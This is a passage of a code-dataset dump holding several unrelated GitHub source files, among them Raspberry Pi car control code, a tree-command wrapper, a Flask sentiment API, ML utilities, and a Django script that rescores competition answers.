True\n self.steering_angle = self._tmp_SA\n self.drive(self._tmp_speed, 1)\n\n time.sleep(self.IF_FREQ)\n\n def lenkFunction_7(self):\n \"\"\"Funktion fuehrt die Lenk-Funktionalitaeten fuer Fahrparcour 7 aus.\"\"\"\n self._active = False\n\n def generischerFahrparcour(self, fp=5, v=50):\n \"\"\"Funtion für einen generischen Fahrparcour\"\"\"\n\n print(f\"Fahrparcour {fp} gestartet.\")\n # Starte Drive Mode\n self.startDriveMode()\n self._tmp_speed = v\n\n if fp == 5:\n self._worker.submit(self.lenkFunction_5)\n elif fp == 6:\n self._worker.submit(self.lenkFunction_6)\n elif fp == 7:\n self._worker.submit(self.lenkFunction_7)\n else:\n print(\"Kein gültiger Fahrparcour ausgewählt!\")\n\n # Starte die Fahrt\n self.drive(v, 1)\n\n # Wartet auf Fertigstellung aller Threads\n self.endDriveMode(waitingWorker=True)\n\n # Ende Drive Mode\n print(f\"Fahrparcour {fp} beendet.\")\n\n def fp5(self, v=50):\n \"\"\"Funktion für den Fahrparcour 5\"\"\"\n self.generischerFahrparcour(5, v)\n \n def fp6(self, v=50):\n \"\"\"Funktion für den Fahrparcour 6\"\"\"\n self.generischerFahrparcour(6, v)\n\n def fp7(self, v=50):\n \"\"\"Funktion für den Fahrparcour 7\"\"\"\n self.generischerFahrparcour(7, v)\n\n def test_ir(self):\n \"\"\"Funktion gibt 10 Messwerte des IR-Sensors aus.\"\"\"\n\n for i in range(10):\n print(self.ir_sensor_analog)\n time.sleep(self.IF_FREQ)\n\n def calibrate_ir_sensors(self):\n \"\"\"Funktion kalibriert die IR-Sensoren unter hellem Untergrund (Weisses Blatt).\n\n Returns:\n [config.json]: Fuegt den Key: \"ir_calib\" hinzu.\n \"\"\"\n while True:\n input(\"Sensoren auf hellem Untergrund platzieren, dann Taste drücken\")\n a = self.ir.get_average(100)\n print(\"Messergebnis:\", a)\n user_in = input(\"Ergebnis verwenden? (j/n/q)\")\n if user_in == \"n\":\n print(\"Neue Messung\")\n elif user_in == \"j\":\n messung = np.array(a)\n ir_calib = messung.mean() / messung\n self._ir_calib = ir_calib.round(4)\n print(\"Kalibrierwerte:\", self._ir_calib)\n data = {}\n try:\n with open(\"config.json\", \"r\") as f:\n data = json.load(f)\n except:\n print(\"File error read\")\n data[\"ir_calib\"] = self._ir_calib.tolist()\n try:\n with open(\"config.json\", \"w\") as f:\n json.dump(data, f)\n except:\n print(\"File error write\")\n break\n else:\n print(\"Abbruch durch Beutzer\")\n break\n\n print(\"IR Kalibrierung beendet\")\n\n\nclass Datenlogger:\n \"\"\"Datenlogger Klasse\n\n Funktion:\n Speichert übergebene Tupels oder Listen mit Angabe des Zeitdeltas seid Start der Aufzeichnung in ein json-File\n\n Returns:\n [*json]: Messwerte aus uebergebenen Daten mit bliebigem Interval.\n \"\"\"\n\n def __init__(self, log_file_path=None):\n \"\"\"Zielverzeichnis fuer Logfiles kann beim Init mit uebergeben werden\n Wenn der Ordner nicht existiert wird er erzeugt\n\n Args:\n log_file_path (_type_, optional): Angabe des Zielordners. Defaults to None.\n \"\"\"\n self._log_file = {}\n self._log_data = []\n self._start_timestamp = 0\n self._logger_running = False\n self._log_file_path = log_file_path\n\n def start(self):\n \"\"\"Funktion startet den Datenlogger\"\"\"\n\n self._logger_running = True\n self._start_timestamp = time.time()\n self._log_file[\"start\"] = str(datetime.now()).partition(\".\")[0]\n\n def append(self, data):\n \"\"\"Funktionen fuegt Daten in die Liste des Datenloggers hinzu.\"\"\"\n\n if self._logger_running:\n ts = round((time.time() - self._start_timestamp), 2)\n self._log_data.append([ts] + data)\n\n def save(self):\n \"\"\"Funktion speichert die uebergebenen Daten\"\"\"\n\n if self._logger_running and (len(self._log_data) > 0):\n self._logger_running = False\n self._log_file[\"data\"] = self._log_data\n self._log_file[\"ende\"] = str(datetime.now()).partition(\".\")[0]\n filename = self._log_file.get(\"start\").partition(\".\")[0]\n filename = (\n filename.replace(\"-\", \"\").replace(\":\", \"\").replace(\" \", \"_\")\n + \"_drive.log\"\n )\n if self._log_file_path != None:\n logfile = os.path.join(self._log_file_path, filename)\n if not os.path.isdir(self._log_file_path):\n os.mkdir(self._log_file_path)\n else:\n logfile = filename\n with open(logfile, \"w\") as f:\n json.dump(self._log_data, f)\n self._log_file.clear()\n self._log_data.clear()\n print(\"Log-File saved to:\", logfile)\n\n\n@click.command()\n@click.option(\n \"--modus\",\n \"--m\",\n type=int,\n default=None,\n help=\"Startet Auswahl der Fahrzeug-Funktionen\",\n)\ndef main(modus):\n \"\"\"\n Main-Programm: Manuelles Ansteuern der implementierten Fahrparcours 1-7\n\n Args[Klassen]:\n PiCar.BaseCar()\n PiCar.Sonic()\n PiCar.SensorCar()\n Funktionen der Klassen:\n fp1() - fp7()\n Args[Fahrparcour]:\n v (int): Geschwindigkeit. Default 50\n \"\"\"\n\n print(\"-- Manuelle Auswahl der Fahrzeug-Funktionen --\")\n modi = {\n 0: \"Kalibrierung der IR-Sensoren\",\n 1: \"Fahrparcour 1\",\n 2: \"Fahrparcour 2\",\n 3: \"Fahrparcour 3\",\n 4: \"Fahrparcour 4\",\n 5: \"Fahrparcour 5\",\n 6: \"Fahrparcour 6\",\n 7: \"Fahrparcour 7\",\n 9: \"Ausgabe IR-Werte\",\n }\n warnung = \"ACHTUNG! Das Auto wird ein Stück fahren!\\n Dücken Sie ENTER zum Start.\"\n\n if modus == None:\n print(\"--\" * 20)\n print(\"Auswahl:\")\n for m in modi.keys():\n print(\"{i} - {name}\".format(i=m, name=modi[m]))\n print(\"--\" * 20)\n\n while modus == None:\n modus = input(\"Wähle (Andere Taste für Abbruch): ? \")\n if modus in [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"9\"]:\n break\n else:\n modus = None\n print(\"Getroffene Auswahl nicht möglich.\")\n quit()\n modus = int(modus)\n\n if modus == 0:\n print(modi[modus])\n SensorCar().calibrate_ir_sensors()\n\n if modus == 1:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp1()\n else:\n print(\"Abbruch\")\n\n if modus == 2:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp2()\n else:\n print(\"Abbruch\")\n\n if modus == 3:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp3()\n else:\n print(\"Abbruch\")\n\n if modus == 4:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp4()\n else:\n print(\"Abbruch\")\n\n if modus == 5:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp5()\n else:\n print(\"Abbruch\")\n\n if modus == 6:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp6()\n else:\n print(\"Abbruch\")\n\n if modus == 7:\n x = input(warnung)\n if x == \"\":\n SensorCar().fp7()\n else:\n print(\"Abbruch\")\n\n if modus == 9:\n SensorCar().test_ir()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"erdnamulb/camp2code4car","sub_path":"camp2code-project_phase_1/Camp2Code-Gruppe-4-Phase-1-master/Dev/PiCar_tim.py","file_name":"PiCar_tim.py","file_ext":"py","file_size_in_byte":25930,"program_lang":"python","lang":"de","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"30636512896","text":"\"\"\"\r\nFile: final_omer1_mrussak7.py\r\n\r\nAuthors: Omer Cem Sevim and Michael Russak\r\n\r\nDate: 12/05/2020\r\n\r\nDescription: This Python script is a modification of Project 2. In our proposal, we outlined that we would implement a more\r\nflexible tree displaying program, with flags that specify what information/files are displayed.\r\n\"\"\"\r\nimport sys\r\nfrom subprocess import call\r\nimport os\r\n\r\ndef parse_input(flags):\r\n l = len(sys.argv)\r\n i = 1\r\n while i < l:\r\n #If the user sends in -d flag, check that the next argument is a valid directory and add it to the list of arguments,\r\n #If its not a valid directory notify the user and return false.\r\n if sys.argv[i] == '-d':\r\n if i+1 < l and os.path.isdir(sys.argv[i+1]): #Check if the directory name exists and is valid.\r\n flags.append(sys.argv[i+1])\r\n i += 1 #skip to the next argument.\r\n elif i+1 == l:\r\n print('ERROR: -d is used with a directory name. -d [DIRECTORY], --help for usage info.')\r\n return False\r\n else:\r\n print('ERROR: Directory named ' + sys.argv[i+1] + ' does not exist, --help for usage info.')\r\n return False\r\n\r\n #If the user sends in -f flag, check that the next argument exists.\r\n elif sys.argv[i] == '-f':\r\n if i+1 < l:\r\n s = sys.argv[i+1]\r\n\r\n #Format the input so it can be used with the tree command.\r\n if sys.argv[i+1][0] == '.':\r\n s = '*' + s\r\n s = '\\\\' + s\r\n\r\n flags.append('-P ' + s)\r\n i += 1 #skip to the next argument.\r\n else:\r\n print('ERROR: -f flag is used with a file name or file extension. -f [FILENAME | FILEEXTENSION], --help for usage info.')\r\n return False;\r\n #Add the help flag to the list.\r\n elif sys.argv[i] == '--help':\r\n flags.append('--help')\r\n #display permissions flag\r\n elif sys.argv[i] == '-p':\r\n flags.append('-p')\r\n #check if all the flags are valid.\r\n else:\r\n print('ERROR: ' + sys.argv[i] + ' is not a valid flag options, --help for usage info')\r\n return False;\r\n i += 1\r\n\r\n return True\r\n\r\n\r\ndef help_options():\r\n print('usage: final_omer1_mrussak7.py [OPTIONAL FLAG, ..., OPTIONAL FLAG]')\r\n print('----------------Flag Options----------------')\r\n print('-d directory Start listing from the given directory')\r\n print('-f filename | extension Only display files matching the name or with the same extension')\r\n print('-p Display permissions for folders and files in the tree')\r\n print('--------------------------------------------')\r\n\r\ndef main():\r\n if len(sys.argv) == 1:\r\n call('tree')\r\n return True\r\n else:\r\n flags = []\r\n check = parse_input(flags)\r\n\r\n if not check:\r\n return False;\r\n\r\n if '--help' in flags:\r\n help_options()\r\n return True;\r\n s = 'tree'\r\n for f in flags:\r\n s+= ' ' + f\r\n\r\n call(s, shell=True)\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"michaelrussak/ece_2524_project3","sub_path":"final_omer1_mrussak7.py","file_name":"final_omer1_mrussak7.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27218036769","text":"import json\nimport pandas as pd\nfrom flask import Flask, request, abort, Response\nfrom keras.preprocessing.sequence import pad_sequences\nfrom service.textPreprocessing import TextPreprocessing\nfrom keras import backend\nfrom service.sentimentService import SentimentService\n\napp = Flask(__name__)\napp.config['DEBUG'] = True\n\n@app.route(\"/heath\", methods=[\"GET\"])\ndef heath():\n return Response(json.dumps({\"status\":\"UP\"}), status=200, mimetype='application/json')\n\n\n@app.route(\"/show_model\", methods=[\"GET\"])\ndef show_model():\n model = request.args.get(\"model\", default=None,type=str)\n model_format = json.loads(open('mood-saved-models/' + model + '.json').read())\n return Response(json.dumps(model_format), status=200, mimetype='application/json')\n\n@app.route('/mood-detect', methods=['POST'])\ndef model_predict():\n\n if not request.json or not 'text' in request.json:\n abort(400)\n\n tp = TextPreprocessing()\n\n sent = pd.Series(request.json['text'])\n new_sent = [tp.text_preprocessing(i) for i in sent]\n\n seq = SentimentService.load_tokenizer().texts_to_sequences(pd.Series(''.join(new_sent)))\n test = pad_sequences(seq, maxlen=256)\n\n with backend.get_session().graph.as_default() as g:\n model = SentimentService.get_model1()\n\n res = model.predict_proba(test,batch_size=32, verbose=0)\n\n lab_list = ['anger', 'disgust', 'fear', 'guilt', 'joy', 'sadness', 'shame']\n moods = {}\n for actual, probabilities in zip(lab_list, res[0]):\n moods[actual] = 100*probabilities\n\n return Response(json.dumps(moods), status=200, mimetype='application/json')\n\nif __name__ == '__main__':\n app.run(debug=True,threaded=True, host='0.0.0.0')\n","repo_name":"upasana-mittal/deploy-keras-model-in-production","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24732729628","text":"import re\n\nt = int(input())\nfor i in range(t):\n s = input().strip()\n print(s, \"=\", end=\" \")\n arr = sorted(list(s))\n s = \"\".join(arr)\n work = False\n test = [int(i) for i in s]\n test = set(test)\n test = list(test)\n test = \"\".join([str(elem) for elem in test])\n # Check FIVE OF A KIND\n for j in range(1, 10):\n if str(j)*5 in s:\n work = True\n print(\"FIVE OF A KIND\")\n break\n if work:\n continue\n # Check FOUR OF A KIND\n for j in range(1, 10):\n if str(j)*4 in s:\n work = True\n print(\"FOUR OF A KIND\")\n break\n if work:\n continue\n # Check FULL HOUSE\n for j in range(1, 10):\n for k in range(1, 10):\n if j != k and (str(j)*2 in s and str(k)*3 in s or str(k)*2 in s and str(j)*3 in s):\n work = True\n print(\"FULL HOUSE\")\n break\n if work:\n break\n if work:\n continue\n # Check STRAIGHT\n for j in range(1, 6):\n if re.search(str(j)+str(j+1)+str(j+2)+str(j+3)+str(j+4), test):\n work = True\n print(\"STRAIGHT\")\n break\n if work:\n continue\n # Check THREE OF A KIND\n for j in range(1, 10):\n if str(j)*3 in s:\n work = True\n print(\"THREE OF A KIND\")\n break\n if work:\n continue\n # Check TWO PAIR\n for j in range(1, 10):\n for k in range(1, 10):\n if j != k and str(j)*2 in s and str(k)*2 in s:\n work = True\n print(\"TWO PAIR\")\n break\n if work:\n break\n if work:\n continue\n # Check PAIR\n for j in range(1, 10):\n if str(j)*2 in s:\n work = True\n print(\"PAIR\")\n break\n if work:\n continue\n print(s[-1])\n","repo_name":"MrTesla-Python/Code-Quest-Academy","sub_path":"Solved/Medium/dollar_bill_poker.py","file_name":"dollar_bill_poker.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73343924567","text":"import math\n\nimport tensorflow as tf\n\nfrom finetune.util.timing import ProgressBar\n\n\nclass InputMode:\n PREDICT = \"predict\"\n TRAIN = \"train\"\n\n\ndef _integer_val_size(val_size, dataset_size):\n if isinstance(val_size, float):\n return int(val_size * dataset_size)\n return val_size\n\n\ndef validation_settings(\n dataset_size, batch_size, val_size, val_interval, keep_best_model\n):\n \"\"\"\n Auto-select reasonable validation settings\n \"\"\"\n if val_size is not None and val_interval is not None:\n return (_integer_val_size(val_size, dataset_size), val_interval)\n\n # Auto-select reasonable validation size\n if val_size == \"auto\":\n if dataset_size < 50 and not keep_best_model:\n val_size = 0\n else:\n val_size = max(5, int(0.05 * dataset_size))\n val_size = min(100, val_size)\n else:\n val_size = _integer_val_size(val_size, dataset_size)\n\n # Auto-select reasonable validation interval\n if val_interval is None:\n # sys.maxsize corresponds to never running validation\n # and is used when val_size is set to 0\n val_interval = 4 * int(math.ceil(val_size / batch_size)) or None\n else:\n val_interval = int(val_interval)\n\n return int(val_size), val_interval\n\n\ndef has_targets(generator):\n sample = next(iter(generator()))\n return isinstance(sample, tuple) and len(sample) == 2\n\n\ndef add_length(x, y=None):\n x[\"length\"] = tf.shape(x[\"tokens\"])[0]\n if y is not None:\n return x, y\n return x\n\n\ndef batch_dataset(\n dataset,\n batch_size,\n shapes,\n max_length,\n n_epochs=1,\n shuffle=False,\n table_batching=False,\n random_seed=42,\n):\n if isinstance(shapes, tuple):\n shapes = ({**shapes[0], \"length\": tf.TensorShape([])}, shapes[1])\n else:\n shapes = {**shapes, \"length\": tf.TensorShape([])}\n\n if table_batching:\n assert isinstance(\n shapes, tuple\n ), \"You cannot use table batching to predict on tables as order is not guarenteed\"\n\n def batched_dataset():\n return (\n dataset()\n .map(add_length)\n .shuffle(500 if shuffle else 1, seed=random_seed)\n # When we update to tf.2.13 this will change to be a method on the dataset.\n .apply(\n tf.data.experimental.bucket_by_sequence_length(\n element_length_func=(\n lambda item, *_: tf.cast(\n tf.maximum(\n tf.reduce_sum(\n item[\"context\"][:, 0]\n - item[\"context\"][:, 2]\n + 1\n ),\n tf.reduce_sum(\n item[\"context\"][:, 1]\n - item[\"context\"][:, 3]\n + 1\n ),\n ),\n tf.int32,\n )\n ),\n bucket_boundaries=[max_length],\n bucket_batch_sizes=[batch_size, 1],\n padded_shapes=shapes,\n drop_remainder=False,\n )\n )\n .repeat(n_epochs)\n .prefetch(tf.data.experimental.AUTOTUNE)\n )\n\n else:\n\n def batched_dataset():\n return (\n dataset()\n .map(add_length)\n .shuffle(500 if shuffle else 1, seed=random_seed)\n .padded_batch(batch_size, padded_shapes=shapes, drop_remainder=False)\n .repeat(n_epochs)\n .prefetch(tf.data.experimental.AUTOTUNE)\n )\n\n return batched_dataset\n\n\ndef wrap_tqdm(\n gen,\n mode,\n n_epochs,\n val_size,\n dataset_size,\n current_epoch_offset=0,\n total_epoch_offset=0,\n skip_val=False,\n quiet=False,\n update_hook=None,\n):\n assert mode in {\"train\", \"predict\", \"evaluate\"}\n if mode == \"predict\":\n return gen # tqdm is handled elsewhere (not sure why)\n\n try:\n total = len(gen)\n except:\n if mode == \"train\":\n total = dataset_size\n else:\n total = val_size\n\n epoch = 1\n\n def internal_gen():\n nonlocal epoch\n current_epoch = (epoch - 1) % n_epochs + 1\n it = iter(gen())\n if mode == \"train\":\n desc = \"Epoch {}/{}\".format(\n current_epoch + current_epoch_offset, n_epochs + total_epoch_offset\n )\n else:\n desc = \"Validation\"\n if skip_val:\n for _, i in zip(range(val_size), it):\n yield i\n for i in ProgressBar(\n it,\n desc=desc,\n total=total,\n miniters=1,\n leave=current_epoch == n_epochs and mode == \"train\",\n update_hook=update_hook,\n quiet=quiet,\n current_epoch=current_epoch + current_epoch_offset,\n total_epochs=n_epochs + total_epoch_offset,\n ):\n yield i\n if mode == \"train\":\n epoch += 1\n\n return internal_gen\n\n\nclass Chunker:\n def __init__(self, max_length, total_context_width, justify=\"c\"):\n if total_context_width is None:\n total_context_width = 2 * max_length // 3\n assert total_context_width < max_length\n assert justify.lower() in {\"center\", \"left\", \"right\"}\n\n self.max_length = max_length\n self.total_context_width = total_context_width\n self.chunk_size = self.max_length - 2\n self.useful_chunk_width = self.chunk_size - total_context_width\n self.justify = justify.lower()\n\n if self.justify == \"left\":\n self.normal_start = 0\n elif self.justify == \"right\":\n self.normal_start = total_context_width\n elif self.justify == \"center\":\n self.normal_start = total_context_width // 2\n\n self.normal_end = self.normal_start + self.useful_chunk_width\n\n def generate_chunks(self, length):\n for start in range(0, length, self.useful_chunk_width):\n end = start + self.chunk_size\n is_start = start == 0\n is_end = end >= length\n yield start, end, self.useful_chunk_section(is_start, is_end)\n if is_end:\n break\n\n def useful_chunk_section(self, start_of_doc, end_of_doc):\n start = self.normal_start\n end = self.normal_end\n if start_of_doc:\n start = 0\n if end_of_doc:\n end = self.max_length\n return start, end\n","repo_name":"IndicoDataSolutions/finetune","sub_path":"finetune/util/input_utils.py","file_name":"input_utils.py","file_ext":"py","file_size_in_byte":6832,"program_lang":"python","lang":"en","doc_type":"code","stars":692,"dataset":"github-code","pt":"31"} +{"seq_id":"73935249368","text":"import nibabel as nib\nimport numpy\n\nimport os\nfrom dicom_utils import dcm2npy\nimport argparse\nimport nibabel as nib\nimport numpy as np\nimport glob\n\ndef get_conversion_args():\n parser = argparse.ArgumentParser(\n description=\"Use this script for slice extraction from 3d segmentation masks\"\n ,\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n )\n parser.add_argument(\n \"--input_path\",\n type=str,\n default=\"datasets/prostate_data.npy\",\n help=\"Filepath to test data\",\n )\n\n parser.add_argument(\n \"--output_path\",\n type=str,\n default=None,\n help=\"Filepath to output folder\",\n )\n return parser.parse_args()\n\ndef extract_slices(input_path, output_path):\n print(input_path)\n data_filepaths = glob.glob(os.path.join(input_path, '*.nii.gz'))\n print(data_filepaths)\n for filepath in data_filepaths:\n mask = nib.load(filepath).get_fdata()\n for i in range(mask.shape[0]):\n filename = filepath.split(\"/\")[-1].split(\".\")[0]\n print(filename)\n np.save(os.path.join(output_path, filename + \"_\" + str(i)), mask[i, ...])\n \n# Load input args\nif __name__ == \"__main__\":\n args = get_conversion_args()\n input_path, output_path = args.input_path, args.output_path\n extract_slices(input_path, output_path)\n\n# python extract_slices --input_path ../../data/seg/3d_masks/Prostate --output_mask ../../data/seg/2d_slices\n","repo_name":"vicely07/GM-VQVAE-Uncertainty-Contouring-Pipeline","sub_path":"src/utils/extract_slices.py","file_name":"extract_slices.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"587706496","text":"\"\"\"\r\nAuthor @ Mihir_Srivastava\r\nDated - 20-05-2020\r\nFile - Hand_written_digits_recognition_RFC\r\nAim - To predict the hand written digits by training the dataset \"load_digits\" available in sklearn library using the\r\nRandom Forest Classifier (RFC) algorithm.\r\n\"\"\"\r\n\r\n# import necessary libraries\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.ensemble import RandomForestClassifier as RFC\r\nfrom sklearn.datasets import load_digits\r\nfrom sklearn.metrics import confusion_matrix\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sn\r\n\r\n# Create load_digits object\r\ndigits = load_digits()\r\n\r\n# Create Random Forest Classifier model\r\nmodel = RFC()\r\n\r\n# Define features and labels\r\nX = digits.data\r\ny = digits.target\r\n\r\n# Split the data into training and testing set\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\r\n\r\n# Train the model\r\nmodel.fit(X_train, y_train)\r\n\r\n# Find accuracy\r\naccuracy = model.score(X_test, y_test)\r\nprint(\"accuracy: \" + str(accuracy))\r\n\r\npredict = model.predict(X_test)\r\n\r\n# Creating confusion matrix\r\ncm = confusion_matrix(y_test, predict)\r\n\r\n# Visualizing the confusion matrix\r\nplt.figure(figsize=(10, 7))\r\nsn.heatmap(cm, annot=True)\r\nplt.xlabel('Predicted')\r\nplt.ylabel('Truth')\r\nplt.show()\r\n","repo_name":"MihirShri/Machine-Learning","sub_path":"1. Supervised Learning Algorithms/14. Random Forest/Hand_written_digits_recognition_RFC.py","file_name":"Hand_written_digits_recognition_RFC.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"1712177690","text":"#!/usr/bin/env python3\n\n\ndef find_missing_number(num: list) -> int:\n total_from_num, total_from_indexes = 0, 0\n\n # go through every number in num and add it to total_from_num\n for i in num:\n total_from_num += i\n\n # Iterate through the range of len(num) +1 to aquire the number the total should be\n for i in range(1, len(num)+1):\n total_from_indexes += i\n\n # subtract the sum of the elements in the list from what the sum should be to obtain the number that's missing\n return total_from_indexes - total_from_num\n\n\nif __name__ == '__main__':\n print(find_missing_number([5,4,3,2,1,8,7,6]))\n","repo_name":"YearOfProgramming/2017Challenges","sub_path":"challenge_7/python/slandau3/find_missing_number.py","file_name":"find_missing_number.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":205,"dataset":"github-code","pt":"31"} +{"seq_id":"69868298967","text":"# -*- coding:utf-8 -*-\n__author__ = 'Rayleigh'\nimport urllib\nimport urllib2\nimport json\nfrom tracker.settings import DOCKER_HOST, DOCKER_APP_KEY\nfrom PManager.models.interfaces import AccessInterface\n\ndef server_request(project):\n result = __server_request_raw(project, '/container/start')\n if 'status' not in result or result['status'] != \"OK\":\n raise RuntimeError('Result is not acceptable')\n if 'mysql_password' in result and 'host' in result:\n AccessInterface.create_mysql_interface(password=result['mysql_password'], project=project, host=result['host'])\n return True\n\n\ndef __get_project_api_key(project):\n if not project.api_key:\n data = urllib.urlencode({'app_key' : DOCKER_APP_KEY, 'project': project.repository})\n url = \"http://\" + DOCKER_HOST + \"/container/key\"\n req = urllib2.Request(url, data)\n response = urllib2.urlopen(req)\n result = json.load(response)\n api_key = result['API_KEY']\n project.api_key = api_key\n project.save()\n return api_key\n return project.api_key\n\ndef __server_request_raw(project, service_url):\n if not project.repository:\n raise AttributeError(\"repository for project is not found\")\n api_key = __get_project_api_key(project)\n data = urllib.urlencode({'app_key' : DOCKER_APP_KEY, 'project': project.repository, 'api_key': api_key})\n url = \"http://\" + DOCKER_HOST + service_url\n req = urllib2.Request(url, data)\n response = urllib2.urlopen(req)\n result = json.load(response)\n return result\n\ndef server_status_request(project):\n result = __server_request_raw(project, '/container/status')\n if 'status' not in result or result['status'] != \"UP\":\n return False\n return True\n","repo_name":"mkovalev-python/epar_prod","sub_path":"PManager/services/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13201471575","text":"import sys\nN = int(sys.stdin.readline())\nlec = list()\nfor i in range(N):\n num, start, finish = map(int, sys.stdin.readline().split())\n lec.append([start, finish])\n\nlec.sort()\n\ntemp = [lec[0][1]]\n\nindex = 1\nminStart = temp[0]\nwhile index < len(lec):\n if lec[index][0] < minStart:\n temp.append(lec[index][1])\n if minStart > lec[index][1]:\n minStart = lec[index][1]\n else:\n temp.sort()\n temp[0] = lec[index][1]\n if len(temp) == 1:\n minStart = temp[0]\n else:\n minStart = temp[1]\n\n index += 1\n\nprint(len(temp))","repo_name":"mushroom1324/Algorithm","sub_path":"BOJ_1374.py","file_name":"BOJ_1374.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"19143716630","text":"import unittest\nfrom starlette.testclient import TestClient\nfrom bothub_nlp_api import app as api\nfrom unittest.mock import patch\n\n\nclass TestWordSuggestionRoute(unittest.TestCase):\n def setUp(self):\n self.app = TestClient(api.app)\n\n def test_v2_invalid_text(self):\n invalid_body = {\"language\": \"en\"}\n response = self.app.post(\"v2/word_suggestion\", headers={}, json=invalid_body)\n self.assertEqual(422, response.status_code)\n\n def test_v2_invalid_language(self):\n invalid_body = {\"text\": \"test\"}\n response = self.app.post(\"v2/word_suggestion\", headers={}, json=invalid_body)\n self.assertEqual(422, response.status_code)\n\n @patch(\n \"bothub_nlp_api.handlers.word_suggestion._word_suggestion\",\n return_value={\"text\": \"text\", \"similar_words\": []},\n )\n def test_v2_word_suggestion(self, *args):\n body = {\"text\": \"test\", \"language\": \"en\"}\n response = self.app.post(\"v2/word_suggestion\", headers={}, json=body)\n self.assertEqual(200, response.status_code)\n","repo_name":"weni-ai/bothub-nlp-api","sub_path":"bothub_nlp_api/tests/test_unit_integration_api_v2/test_word_suggestion_api.py","file_name":"test_word_suggestion_api.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"43029407536","text":"import os\nfrom sys import exit\n\nfrom django.apps import apps\nfrom django.core.management.base import BaseCommand\n\nfrom apps.game.models import TrialSubmission, Competition, QuestionSubmission, TeamParticipatesChallenge\n\nCITY_NAME_TRANSLATIONS = {\n 'Tehran': 'تهران',\n 'tehran': 'تهران',\n 'Mashhad': 'مشهد',\n 'mashhad': 'مشهد',\n 'Karaj': 'کرج',\n 'karaj': 'کرج',\n 'Qom': 'قم',\n 'qom': 'قم',\n 'Isfahan': 'اصفهان',\n 'isfahan': 'اصفهان',\n 'Shiraz': 'شیراز',\n 'shiraz': 'شیراز',\n 'Tabriz': 'تبریز',\n 'tabriz': 'تبریز',\n 'Ahvaz': 'اهواز',\n 'ahvaz': 'اهواز',\n 'Kermanshah': 'کرمانشاه',\n 'kermanshah': 'کرمانشاه',\n}\n\n\nclass Command(BaseCommand):\n help = 'Brings JUSTICE back to humanity'\n\n def add_arguments(self, parser):\n pass\n\n def handle(self, *args, **options):\n teams_justified = {}\n\n multiple_answer_question_submissions = QuestionSubmission.objects.filter(question__type='multiple_answer')\n for submission in multiple_answer_question_submissions:\n\n a = submission.trial_submission.trial.score\n submission.trial_submission.trial.score -= submission.score\n\n submission.score = 0\n\n #\n submitted_answer = submission.value.strip().split('$')\n submitted_answer = [x.strip().lower() for x in submitted_answer]\n\n new_answers = []\n for answer in submitted_answer:\n if answer in CITY_NAME_TRANSLATIONS:\n new_answers.append(CITY_NAME_TRANSLATIONS[answer])\n else:\n new_answers.append(answer)\n\n submitted_answer = new_answers\n\n real_answer = submission.question.correct_answer.strip().split('$')\n real_answer = [x.strip().lower() for x in real_answer]\n\n correct_answer_count = len(set(real_answer).intersection(set(submitted_answer)))\n #\n\n submission.score = 600 * (correct_answer_count / 3)\n submission.trial_submission.trial.score += submission.score\n b = submission.trial_submission.trial.score\n if b - a != 0:\n print(b-a)\n teams_justified[submission.trial_submission.team.id] = [b - a]\n if b < a:\n print(submission.question.doc_id)\n print(submission.id)\n\n submission.save()\n submission.trial_submission.trial.save()\n\n numeric = QuestionSubmission.objects.filter(question__doc_id=151)\n for submission in numeric:\n if 750000 <= float(submission.value) <= 800000:\n submission.score = 50\n submission.trial_submission.trial.score += submission.score\n submission.save()\n submission.trial_submission.trial.save()\n\n if submission.trial_submission.trial.team.id in teams_justified:\n teams_justified[submission.trial_submission.team.id].append(50)\n else:\n teams_justified[submission.trial_submission.team.id] = [50]\n\n injustice_factor = 0\n for team in teams_justified:\n print(\"{}: {}\".\n format(TeamParticipatesChallenge.objects.get(id=team).team.name,\n teams_justified[team]))\n injustice_factor += sum(teams_justified[team])\n\n print(\"=========\")\n print(\"{} teams with an injustice factor of {} score\".format(len(teams_justified), injustice_factor))\n","repo_name":"SharifDataDays/website-2019","sub_path":"apps/game/management/commands/justice.py","file_name":"justice.py","file_ext":"py","file_size_in_byte":3598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1278939656","text":"\"\"\"\nYou're given 2D array of (unequal) height/width containing 1s/0s. This matrix is a 2-toned image where 1==black and 0==white. Islands are defined as 1s running adjacent horizontal or vertical (but not touching sides). Remove the 1s you find qualify as islands.\n\nInput:\n \nOutput:\n 